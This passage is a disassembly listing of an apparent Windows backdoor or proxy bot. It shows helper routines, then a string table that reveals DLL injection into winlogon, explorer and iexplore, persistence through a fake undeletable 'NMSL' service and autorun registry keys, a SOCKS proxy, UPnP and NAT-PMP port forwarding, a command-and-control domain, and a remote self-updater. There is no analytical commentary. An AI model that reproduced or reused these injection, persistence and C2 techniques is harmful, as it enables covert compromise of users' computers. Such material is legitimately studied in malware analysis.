		retn
sub_44E5FB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44E6EB	proc near		; CODE XREF: sub_44DB0B+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_4]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_44E741
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_44E72D
		cmp	word ptr [ebx+4], 0
		jnz	short loc_44E72D
		cmp	word ptr [ebx+2], 0
		jnz	short loc_44E72D
		cmp	word ptr [ebx],	0
		jz	short loc_44E734


loc_44E72D:				; CODE XREF: sub_44E6EB+2Cj
					; sub_44E6EB+33j ...
		mov	edi, 2
		jmp	short loc_44E739
; ---------------------------------------------------------------------------


loc_44E734:				; CODE XREF: sub_44E6EB+40j
		mov	edi, 1


loc_44E739:				; CODE XREF: sub_44E6EB+47j
		mov	ax, di
		movsx	eax, ax
		jmp	short loc_44E785
; ---------------------------------------------------------------------------


loc_44E741:				; CODE XREF: sub_44E6EB+1Bj
		test	si, si
		jg	short loc_44E755
		push	ebx
		call	sub_44EB0B
		pop	ecx
		mov	si, ax
		test	ax, ax
		jg	short loc_44E77A


loc_44E755:				; CODE XREF: sub_44E6EB+59j
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		or	eax, 3FE0h
		mov	[ebx+6], ax
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, si
		sub	ax, 3FEh
		mov	[edx], ax
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E785
; ---------------------------------------------------------------------------


loc_44E77A:				; CODE XREF: sub_44E6EB+68j
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		xor	eax, eax


loc_44E785:				; CODE XREF: sub_44E6EB+54j
					; sub_44E6EB+8Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_44E6EB	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E78B	proc near		; CODE XREF: sub_44DB2B+Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_44E7E0
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_44E7C9
		cmp	word ptr [ebx+4], 0
		jnz	short loc_44E7C9
		cmp	word ptr [ebx+2], 0
		jnz	short loc_44E7C9
		cmp	word ptr [ebx],	0
		jz	short loc_44E7D0


loc_44E7C9:				; CODE XREF: sub_44E78B+28j
					; sub_44E78B+2Fj ...
		mov	edi, 2
		jmp	short loc_44E7D5
; ---------------------------------------------------------------------------


loc_44E7D0:				; CODE XREF: sub_44E78B+3Cj
		mov	edi, 1


loc_44E7D5:				; CODE XREF: sub_44E78B+43j
		mov	ax, di
		movsx	eax, ax
		jmp	loc_44E995
; ---------------------------------------------------------------------------


loc_44E7E0:				; CODE XREF: sub_44E78B+20j
		test	si, si
		jnz	short loc_44E7FB
		push	ebx
		call	sub_44EB0B
		pop	ecx
		mov	si, ax
		test	ax, ax
		jle	short loc_44E7FB
		xor	eax, eax
		jmp	loc_44E995
; ---------------------------------------------------------------------------


loc_44E7FB:				; CODE XREF: sub_44E78B+58j
					; sub_44E78B+67j
		movsx	eax, si
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+arg_4], eax
		cmp	eax, 7FFh
		jl	short loc_44E83D
		test	word ptr [ebx+6], 8000h
		jz	short loc_44E822
		fld	dbl_4119E0
		fchs
		fstp	[ebp+var_8]
		jmp	short loc_44E82B
; ---------------------------------------------------------------------------


loc_44E822:				; CODE XREF: sub_44E78B+88j
		fld	dbl_4119E0
		fstp	[ebp+var_8]


loc_44E82B:				; CODE XREF: sub_44E78B+95j
		mov	eax, [ebp+arg_0]
		fld	[ebp+var_8]
		fstp	qword ptr [eax]
		mov	eax, 1
		jmp	loc_44E995
; ---------------------------------------------------------------------------


loc_44E83D:				; CODE XREF: sub_44E78B+80j
		cmp	[ebp+arg_4], 0
		jle	short loc_44E863
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		mov	edx, [ebp+arg_4]
		movsx	edx, dx
		shl	edx, 4
		or	eax, edx
		mov	[ebx+6], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_44E995
; ---------------------------------------------------------------------------


loc_44E863:				; CODE XREF: sub_44E78B+B6j
		mov	ax, [ebx+6]
		and	ax, 8000h
		mov	word ptr [ebp+var_8+6],	ax
		movzx	eax, word ptr [ebx+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	[ebx+6], ax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		cmp	eax, 0FFFFFFCCh
		jge	short loc_44E8A9
		mov	ax, word ptr [ebp+var_8+6]
		mov	[ebx+6], ax
		mov	word ptr [ebx+4], 0
		mov	word ptr [ebx+2], 0
		mov	word ptr [ebx],	0
		xor	eax, eax
		jmp	loc_44E995
; ---------------------------------------------------------------------------


loc_44E8A9:				; CODE XREF: sub_44E78B+FCj
		mov	eax, [ebp+arg_4]
		mov	word ptr [ebp+var_8+4],	ax
		jmp	short loc_44E8D4
; ---------------------------------------------------------------------------


loc_44E8B2:				; CODE XREF: sub_44E78B+14Ej
		mov	ax, [ebx+2]
		mov	[ebx], ax
		mov	ax, [ebx+4]
		mov	[ebx+2], ax
		mov	ax, [ebx+6]
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		add	word ptr [ebp+var_8+4],	10h


loc_44E8D4:				; CODE XREF: sub_44E78B+125j
		cmp	word ptr [ebp+var_8+4],	0FFF0h
		jle	short loc_44E8B2
		movsx	eax, word ptr [ebp+var_8+4]
		neg	eax
		mov	word ptr [ebp+var_8+4],	ax
		test	ax, ax
		jz	loc_44E98A
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx]
		mov	ecx, eax
		sar	edx, cl
		mov	dword ptr [ebp+var_8], edx
		movzx	ecx, word ptr [ebx+2]
		mov	[ebp+var_C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_C]
		shl	eax, cl
		mov	edx, dword ptr [ebp+var_8]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+2]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_10], edx
		movzx	ecx, word ptr [ebx+4]
		mov	[ebp+var_14], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_14]
		shl	eax, cl
		mov	edx, [ebp+var_10]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+2], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+4]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_18], edx
		movzx	ecx, word ptr [ebx+6]
		mov	[ebp+var_1C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_1C]
		shl	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+4], ax
		movzx	eax, word ptr [ebx+6]
		movsx	ecx, word ptr [ebp+var_8+4]
		sar	eax, cl
		mov	[ebx+6], ax


loc_44E98A:				; CODE XREF: sub_44E78B+15Dj
		mov	ax, word ptr [ebp+var_8+6]
		or	[ebx+6], ax
		or	eax, 0FFFFFFFFh


loc_44E995:				; CODE XREF: sub_44E78B+50j
					; sub_44E78B+6Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44E78B	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E9AB	proc near		; CODE XREF: sub_44DBAB+409p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44E9AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_44E9DB	proc near		; CODE XREF: sub_44E44B+77p
					; sub_44E44B+E7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		movzx	eax, byte ptr [edx+eax+4]
		mov	esi, eax
		and	esi, 80h
		cmp	[esp+8+arg_4], 8000h
		jnz	short loc_44EA31
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		movzx	edx, byte ptr [eax]
		and	edx, 0FFFFFF7Fh
		mov	[eax], dl
		jmp	short loc_44EA68
; ---------------------------------------------------------------------------


loc_44EA31:				; CODE XREF: sub_44E9DB+2Fj
		cmp	[esp+8+arg_4], 4000h
		jnz	short loc_44EA58
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	80h
		jmp	short loc_44EA68
; ---------------------------------------------------------------------------


loc_44EA58:				; CODE XREF: sub_44E9DB+5Ej
		call	sub_449B9B
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_44EA7B
; ---------------------------------------------------------------------------


loc_44EA68:				; CODE XREF: sub_44E9DB+54j
					; sub_44E9DB+7Bj
		test	esi, esi
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 4000h


loc_44EA7B:				; CODE XREF: sub_44E9DB+8Bj
		pop	esi
		pop	ebx
		retn
sub_44E9DB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		cmp	ebx, dword_413A8C
		jnb	short loc_44EAB4
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44EAC4


loc_44EAB4:				; CODE XREF: DMN1:0044EA97j
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44EAE4
; ---------------------------------------------------------------------------


loc_44EAC4:				; CODE XREF: DMN1:0044EAB2j
		push	ebx
		call	sub_44C47B
		pop	ecx
		mov	eax, [esp+10h]
		push	eax
		push	ebx
		call	sub_44E9DB
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_44C4DB
		pop	ecx
		mov	eax, esi


loc_44EAE4:				; CODE XREF: DMN1:0044EAC2j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_44EAEB	proc near		; CODE XREF: sub_44E5FB+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		xor	edx, edx


loc_44EAF8:				; CODE XREF: sub_44EAEB+19j
		cmp	[ecx], bl
		jnz	short loc_44EAFE
		mov	edx, ecx


loc_44EAFE:				; CODE XREF: sub_44EAEB+Fj
		cmp	byte ptr [ecx],	0
		jz	short loc_44EB06
		inc	ecx
		jmp	short loc_44EAF8
; ---------------------------------------------------------------------------


loc_44EB06:				; CODE XREF: sub_44EAEB+16j
		mov	eax, edx
		pop	ebx
		retn
sub_44EAEB	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44EB0B	proc near		; CODE XREF: sub_44E6EB+5Cp
					; sub_44E78B+5Bp

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ax, [ecx+6]
		mov	di, ax
		and	di, 8000h
		mov	bx, 1
		mov	ax, [ecx+6]
		and	ax, 0Fh
		mov	[ecx+6], ax
		test	ax, ax
		jnz	short loc_44EB4A
		cmp	word ptr [ecx+4], 0
		jnz	short loc_44EB4A
		cmp	word ptr [ecx+2], 0
		jnz	short loc_44EB4A
		cmp	word ptr [ecx],	0
		jz	loc_44EC04


loc_44EB4A:				; CODE XREF: sub_44EB0B+25j
					; sub_44EB0B+2Cj ...
		jmp	short loc_44EB6C
; ---------------------------------------------------------------------------


loc_44EB4C:				; CODE XREF: sub_44EB0B+66j
		mov	ax, [ecx+4]
		mov	[ecx+6], ax
		mov	ax, [ecx+2]
		mov	[ecx+4], ax
		mov	ax, [ecx]
		mov	[ecx+2], ax
		mov	word ptr [ecx],	0
		sub	bx, 10h


loc_44EB6C:				; CODE XREF: sub_44EB0B:loc_44EB4Aj
		cmp	word ptr [ecx+6], 0
		jz	short loc_44EB4C
		jmp	short loc_44EBB2
; ---------------------------------------------------------------------------


loc_44EB75:				; CODE XREF: sub_44EB0B+ACj
		movzx	eax, word ptr [ecx+6]
		add	eax, eax
		movzx	edx, word ptr [ecx+4]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+6], ax
		movzx	eax, word ptr [ecx+4]
		add	eax, eax
		movzx	edx, word ptr [ecx+2]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		movzx	eax, word ptr [ecx+2]
		add	eax, eax
		movzx	edx, word ptr [ecx]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		shl	word ptr [ecx],	1
		dec	bx


loc_44EBB2:				; CODE XREF: sub_44EB0B+68j
		cmp	word ptr [ecx+6], 10h
		jb	short loc_44EB75
		jmp	short loc_44EBF8
; ---------------------------------------------------------------------------


loc_44EBBB:				; CODE XREF: sub_44EB0B+F2j
		movzx	eax, word ptr [ecx]
		sar	eax, 1
		movzx	edx, word ptr [ecx+2]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx], ax
		movzx	eax, word ptr [ecx+2]
		sar	eax, 1
		movzx	edx, word ptr [ecx+4]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		movzx	eax, word ptr [ecx+4]
		sar	eax, 1
		movzx	edx, word ptr [ecx+6]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		shr	word ptr [ecx+6], 1
		inc	bx


loc_44EBF8:				; CODE XREF: sub_44EB0B+AEj
		cmp	word ptr [ecx+6], 20h
		jnb	short loc_44EBBB
		and	word ptr [ecx+6], 0Fh


loc_44EC04:				; CODE XREF: sub_44EB0B+39j
		or	[ecx+6], di
		movsx	eax, bx
		pop	edi
		pop	ebx
		retn
sub_44EB0B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44EC1B	proc near		; CODE XREF: sub_449C8B+13p
		jmp	dword_411DB0
sub_44EC1B	endp

; ---------------------------------------------------------------------------
		align 4
		dd 11h dup(0)
		db    0
		db 2 dup(0), 64h
		db  6Fh	; o
		db 6Eh,	65h, 2Eh
		db  0Ah
		align 2
aNotDaemonize_0	db 'not daemonized...',0Ah,0
aInitializing_0	db 'initializing service startup sequence...',0Ah,0
aServiceInsta_0	db 'service installed ok...',0Ah,0
aInstallingSe_1	db 'installing service...',0Ah,0
aRegisteredSe_2	db 'registered service is not running, unrest.',0Ah,0
aStartingServ_0	db 'starting service...',0Ah,0
aI_0		db '%i',0Ah,0
aInstallingSe_2	db 'installing service, res=',0
aRegisteredSe_3	db 'registered service is not running.',0Ah,0
aRegisteredSe_4	db 'registered service is here...',0Ah,0
aDonTRegister_0	db 'DON',27h,'T register it',0Ah,0
aRegisterItAn_0	db 'register it and restart',0Ah,0
aNoRegistered_0	db 'no registered service, ',0
aWaitingCompl_0	db '*** waiting complete...',0Ah,0
aWaiting____0	db '*** waiting...',0Ah,0
aRemovingS_0	db 'removing: <%s>',0Ah,0
aInitializing_1	db 'initializing winsock library...',0Ah,0
aCopyingFaile_0	db 'copying failed %%-(',0Ah,0
aCreateproces_0	db 'CreateProcess() failed %%-(',0Ah,0
aCmdlineS_0	db 'cmdline: <%s>',0Ah,0
aCopying____0	db 'copying...',0Ah,0
aNewSOldSSelf_0	db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0
aWaiting10Sec_0	db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0
aShutdownmute_0	db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0
aUpdate_1	db '*update',0
aInjectionthr_0	db 'InjectionThread complete',0Ah,0
aDllStopped___0	db 'DLL stopped...',0Ah,0
aDying_0	db 'dying',0Ah,0
aWaitingForDl_0	db 'waiting for <DLL dies> event...',0Ah,0
aWinlogon_exe_0	db 'winlogon.exe',0
aExplorer_exe_0	db 'explorer.exe',0
aIexplore_exe_0	db 'iexplore.exe',0
aOldDllFoundW_0	db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
aTryingSWithS_0	db 'trying <%s> with <%s> failed',0Ah,0
aTryingSWithS_1	db 'trying <%s> with <%s>',0Ah,0
aDllInjected_0	db 'DLL injected!',0Ah,0
aThreadComple_0	db 'thread complete (%i).',0Ah,0
aThreadInject_0	db 'thread injected (%i).',0Ah,0
aProcessOpene_0	db 'process opened.',0Ah,0
aS_2		db '<%s>',0Ah,0
aWriteprocess_0	db 'WriteProcessMemory() ok',0Ah,0
aGetlasterror_1	db 'GetLastError',0
aExitthread_1	db 'ExitThread',0
aLoadlibrarya_0	db 'LoadLibraryA',0
aKernel32_dll_0	db 'kernel32.dll',0
aVirtualalloc_0	db 'VirtualAllocEx() ok',0Ah,0
aSedebugprivi_0	db 'SeDebugPrivilege',0
aDllNotExtrac_0	db 'DLL not extracted.',0Ah,0
aDllOkS_0	db 'DLL ok: <%s>',0Ah,0
aTryingDllS_0	db 'trying DLL: <%s>',0Ah,0
aDllFoundS_0	db ' DLL found: <%s>',0Ah,0
aCheckingDllS_0	db 'checking DLL: <%s>',0Ah,0
a000_tmp_0	db '000.tmp',0
aNmsl__0	db 'nmsl_',0
aOldDllS_0	db 'old DLL: <%s>',0Ah,0
aR_0		db 'r',0
aFileSWritten_0	db 'file <%s> written, wsz=%i',0Ah,0
aFileSCreated_0	db 'file <%s> created',0Ah,0
aFileSNotCrea_0	db 'file <%s> NOT created',0Ah,0
aWb_1		db 'wb+',0
aResourceHere_0	db 'resource here, size: %i',0Ah,0
a8001_0		db '#8001',0
aDlltestliste_3	db 'DLLTestListenThread: done...',0Ah,0
aDlltestliste_4	db 'DLLTestListenThread: accepting...',0Ah,0
aDlltestliste_5	db 'DLLTestListenThread: listening...',0Ah,0
aDlltestliste_6	db 'DLLTestListenThread: binding...',0Ah,0
aDlltestthrea_0	db 'DLLTestThread: pulsing...',0Ah,0
		db '**',0
aServicefixer_0	db 'ServiceFixerThread started.',0Ah,0
		db '" ',0
aRegisterserv_1	db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
aSetservicest_3	db 'SetServiceStatus(): stopped',0Ah,0
aSetservicest_4	db 'SetServiceStatus(): running',0Ah,0
aSetservicest_5	db 'SetServiceStatus(): start pending',0Ah,0
aServicectrld_0	db 'ServiceCtrlDispatcher()',0Ah,0
aWaitingForSt_0	db 'WAITING FOR STOP EVENT!',0Ah,0
aEventCreaton_0	db 'EVENT CREATON ERROR: %i',0Ah,0
aEventCreated_0	db 'EVENT CREATED.',0Ah,0
aWritingToHkc_0	db 'writing to HKCU/autorun key...',0Ah,0
aSoftwareMicr_2	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
aWritingToHkl_0	db 'writing to HKLM/autorun key...',0Ah,0
		db '*',0
aLoad_0		db 'load',0
aSoftwareMicr_3	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
		db ',',0
aUserinit_0	db 'Userinit',0
aSoftwareMicr_4	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
aStartupprogr_0	db 'StartupPrograms',0
aSystemCurren_2	db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
aRegreadCanTR_0	db 'RegRead(): can',27h,'t read key %s',0Ah,0
aRegreadReadI_0	db 'RegRead(): read %i bytes from %s (%s)',0Ah,0
aRegreadOpene_0	db 'RegRead(): opened %s',0Ah,0
a1ea9b031C301_0	db '{1EA9B031-C301-4F76-805F-A41ECF9ED164}',0
aDescription_0	db 'Description',0
aDisplayname_0	db 'DisplayName',0
aLocalsystem_0	db 'LocalSystem',0
aObjectname_0	db 'ObjectName',0
aErrorcontrol_0	db 'ErrorControl',0
aStart_0	db 'Start',0
aType_0		db 'Type',0
aImagepath_0	db 'ImagePath',0
aSystemCurren_3	db 'SYSTEM\CurrentControlSet\Services\',0
aProvidesSupp_0	db 'Provides support for Microsoft Windows® NMSL.  This service can n'
		db 'ot be stopped.',0
aServiceRegis_0	db 'service registered',0Ah,0
aNmsl_0		db 'NMSL',0
aStartingComm_0	db 'starting COMM thread...',0Ah,0
aNatpmpForwar_0	db 'NATPMP: forwarded to: %i',0Ah,0
aSocksPortI_0	db 'SOCKS port: %i',0Ah,0
aCanTBindList_0	db 'can',27h,'t bind listen socket!',0Ah,0
aListener____0	db 'listener...',0Ah,0
aTransferring_0	db 'transferring data...',0Ah,0
aSocksVIS_0	db 'socks v%i  [%s]',0Ah,0
aConnectionFr_0	db 'connection from [%s]',0Ah,0
aCanTBindPort_0	db 'can',27h,'t bind port mapper listen socket!',0Ah,0
aConnectionCl_0	db 'connection closed.',0Ah,0
aDataExchange_0	db 'data exchange complete',0Ah,0
aConnectedToS_0	db 'connected to %s:%i',0Ah,0
aConnectionTo_0	db 'connection to %s:%i failed! %-( (%i)',0Ah,0
aConnectingTo_0	db 'connecting to %s:%i',0Ah,0
a127_0_0_1_0	db '127.0.0.1',0
aConnectionRe_0	db 'connection rejected (from [%s])',0Ah,0
a_win32__nmsl_0	db '_win32__nmsl_um__',0
aSystem_0	db 'SYSTEM',0
		db 0Dh,'                      ',0Dh,0
aISecondsLeft_0	db 0Dh,'%i seconds left   ',8,8,8,'.',0
aSrvWaitingIS_0	db 'Srv: waiting %i seconds...',0Ah,0
aSrvcommthrea_0	db 'SrvCommThread: done',0Ah,0
aSrvStartingUpd	db 'SRV: starting updater...',0Ah,0
aSrvUpgradeS	db 'SRV: UPGRADE <%s>',0Ah,0
aSrvIplist	db 'SRV: IPLIST',0Ah,0
aSrvBye		db 'SRV: BYE',0Ah,0
aSrvAckReject_1	db 'SRV: ACK rejected IPs failed',0Ah,0
aSrvAckReject_2	db 'SRV: ACK rejected IPs',0Ah,0
aSrvSendingRe_0	db 'SRV: sending rejected IPs failed',0Ah,0
aSrvSendingRe_1	db '* SRV: sending rejected IPs',0Ah,0
aSrvAckHandsh_0	db 'SRV: ACK handshacking failed',0Ah,0
aSrvAckHandsh_1	db 'SRV: ACK handshacking',0Ah,0
aSrvHandshaki_1	db 'SRV: handshaking failed.',0Ah,0
aSrvRip?I_0	db 'SRV: rip? %i',0Ah,0
aSrvHandshaki_2	db 'SRV: handshaking...',0Ah,0
aSrvConnectin_0	db 'SRV: connecting failed.',0Ah,0
aSrvConnectin_1	db 'SRV: connecting...',0Ah,0
aSrvSI_0	db 'SRV: [%s:%i]',0Ah,0
aMyPortI_0	db 'my port [%i]',0Ah,0
aDep_mvl0an7__0	db 'dep.mvl0an7.com',0
aAuthorizedIp_0	db 'authorized IP #%i [%s]',0Ah,0
aRunningSS____0	db 'running %s (%s)...',0Dh,0Ah,0
		db '" "',0
aUpdate_2	db '*update "',0
aMsssx_0	db 'msssx',0
aDownloadedTo_0	db 'downloaded to: <%s>',0Ah,0
aMsss_0		db 'msss',0
aUpdateUrlS_0	db 'UPDATE URL: <%s>',0Ah,0
aDownloadedSS_0	db 'downloaded [%s] --> %s',0Dh,0Ah,0
aDownloadedFa_0	db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0
aDownloadingS_0	db 'downloading [%s] --> %s',0Dh,0Ah,0
aFopenS____0	db 'fopen(%s)...',0Ah,0
aWb_2		db 'wb',0
aInternetopen_1	db 'InternetOpenUrl(): %i',0Ah,0
aInternetopen_2	db 'InternetOpen(): %i',0Ah,0
aMsdownloader_0	db 'msdownloader',0
		db ' ',0
aCWindowsSyst_0	db 'C:\WINDOWS\system32\nmsl.exe',0
		db '"',0
a_win32__nmsl_1	db '_win32__nmsl_sm__',0
a__win32__nms_0	db '__win32__nmsl_sdm__',0
aNatPmpReques_2	db 'NAT-PMP request #%i - port: [%i]',0Ah,0
aNatPmpFwdReq_0	db 'NAT-PMP fwd request #%i - ok',0Ah,0
aReceivingNat_1	db 'receiving NAT-PMP fwd request #%i...',0Ah,0
aSetsockoptNa_1	db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
aSendingNatPm_0	db 'sending NAT-PMP fwd request #%i...',0Ah,0
aRouterIpS_0	db 'router ip: [%s]',0Ah,0
aNatPmpReques_3	db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
aNatPmpReques_4	db 'NAT-PMP request #%i - ok',0Ah,0
aReceivingNat_2	db 'receiving NAT-PMP request #%i...',0Ah,0
aSetsockoptNa_2	db 'setsockopt NAT-PMP request #%i...',0Ah,0
aSendingNatPm_1	db 'sending NAT-PMP request #%i...',0Ah,0
aDefaultGatew_0	db 'default gateway: [%s]',0Ah,0
aIupnpDiscove_5	db 'IUPnP discovery request #%i: ok.',0Ah,0
aControlurl_0	db '<controlURL>',0
aService_1	db '</service>',0
aService_2	db '<service>',0
aUrnSchemasUp_0	db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscove_6	db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
aLocationS_0	db 'location: <%s>',0Ah,0
aIupnpDiscove_7	db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
aIupnpDiscove_8	db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
aLocation_0	db 'location',0
aIupnpDiscove_9	db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
aSchemasUpnpO_0	db 'schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscov_10	db 'IUPnP discovery request #%i -- checking...',0Ah,0
aReceivingIup_0	db 'receiving IUPnP discovery request #%i...',0Ah,0
aSetsockoptIu_0	db 'setsockopt IUPnP discovery request #%i...',0Ah,0
aMSearchHttp1_0	db 'M-SEARCH * HTTP/1.1',0Dh,0Ah
		db 'Host: 239.255.255.250:1900',0Dh,0Ah
		db 'ST: upnp:rootdevice',0Dh,0Ah
		db 'Man: "ssdp:discover"',0Dh,0Ah
		db 'MX: 3',0Dh,0Ah
		db 0Dh,0Ah,0
aSendingIupnp_0	db 'sending IUPnP discovery request #%i...',0Ah,0
aXbind____0	db 'xbind...',0Ah,0
aShit_0		db 'shit!',0Ah,0
a239_255_255__0	db '239.255.255.250',0
aHttpAddmapRe_2	db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
aHttpAddmapRe_3	db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
aHttpAddmapRe_4	db 'HTTP AddMap request: [%s:%i]...',0Ah,0
aPostSHttp1_1_0	db 'POST %s HTTP/1.1',0Dh,0Ah
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aMPostSHttp1__0	db 'M-POST %s HTTP/1.1',0Dh,0Ah
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aSEnvelopeXml_0	db '<s:Envelope',0Dh,0Ah
		db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
		db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
